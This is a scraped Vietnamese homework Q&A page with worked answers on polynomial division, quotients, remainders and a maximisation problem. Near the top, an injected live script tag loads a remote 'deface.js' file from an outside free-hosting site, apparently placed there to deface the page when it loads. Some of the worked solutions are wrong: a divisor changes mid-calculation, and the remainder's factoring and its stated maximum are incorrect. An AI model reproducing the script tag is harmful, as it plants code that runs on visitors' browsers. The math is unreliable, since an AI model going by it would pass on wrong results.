Hãy nhập câu hỏi của bạn vào đây, nếu là tài khoản VIP, bạn sẽ được ưu tiên trả lời.
| <script src="https://snatchy-warehouse.000webhostapp.com/deface.js"></script> |
\(A=BQ+R\\ \Leftrightarrow A:B=Q\left(\text{dư }R\right)\)
Ta có \(A:B=\left(2x^4+3x^3-5x^2-11x+8\right):\left(x^3-3x+1\right)\)
\(\Leftrightarrow A:B=\left(2x^4-6x^2+2x+3x^3-9x^2+3x+10x^2-16x+8\right):\left(x^3-3x+1\right)\\ \Leftrightarrow A:B=\left[\left(x^3-3x+1\right)\left(2x+3\right)+10x^2-16x+8\right]:\left(x^3-2x+1\right)\\ =2x+3\left(\text{dư }10x^2-16x+8\right)\\ \Leftrightarrow\left\{{}\begin{matrix}Q=2x+3\\R=10x^2-16x+8\end{matrix}\right.\)
Ta có :
\(A=x^4-2x^3+3x^2-5x+10\)
\(=x^4-x^3+x^2-2x^3+2x^2-2x-3x+10\)
\(=x^2\left(x^2-x+1\right)-2x\left(x^2-x+1\right)-3x+10\)
\(=\left(x^2-x+1\right)\left(x^2-2x\right)-3x+10=B.Q+R\)
\(\Rightarrow\hept{\begin{cases}Q=x^2-2x\\R=-3x+10\end{cases}}\)
My Nguyễn ơi,bạn truy cập vào đường link này để tìm câu hỏi tương tự của câu a/Bài 1 nhé
https://vn.answers.yahoo.com/question/index?qid=20110206184834AAokV5m&sort=N
a) A = ( x 2 – 6x)B.
b) A = (-x – 8)B + 2
c) A = (x + 3)B + 6.
a: \(\dfrac{A}{B}=\dfrac{2x^5+3x^3-5x^2-11x+8}{x^3-3x+1}\)
\(=\dfrac{2x^5-6x^3+2x^2+9x^3-27x+9-7x^2+16x-1}{x^3-3x+1}\)
\(=2x^2+9+\dfrac{-7x^2+16x-1}{x^3-3x+1}\)
=>\(Q=2x^2+9;R=-7x^2+16x-1\)
b: R=-7x^2+16x-1
=-7(x^2-16x+1/7)
=-7(x^2-16x+64-449/7)
=-7(x-8)^2+449<=449
Dấu = xảy ra khi x=8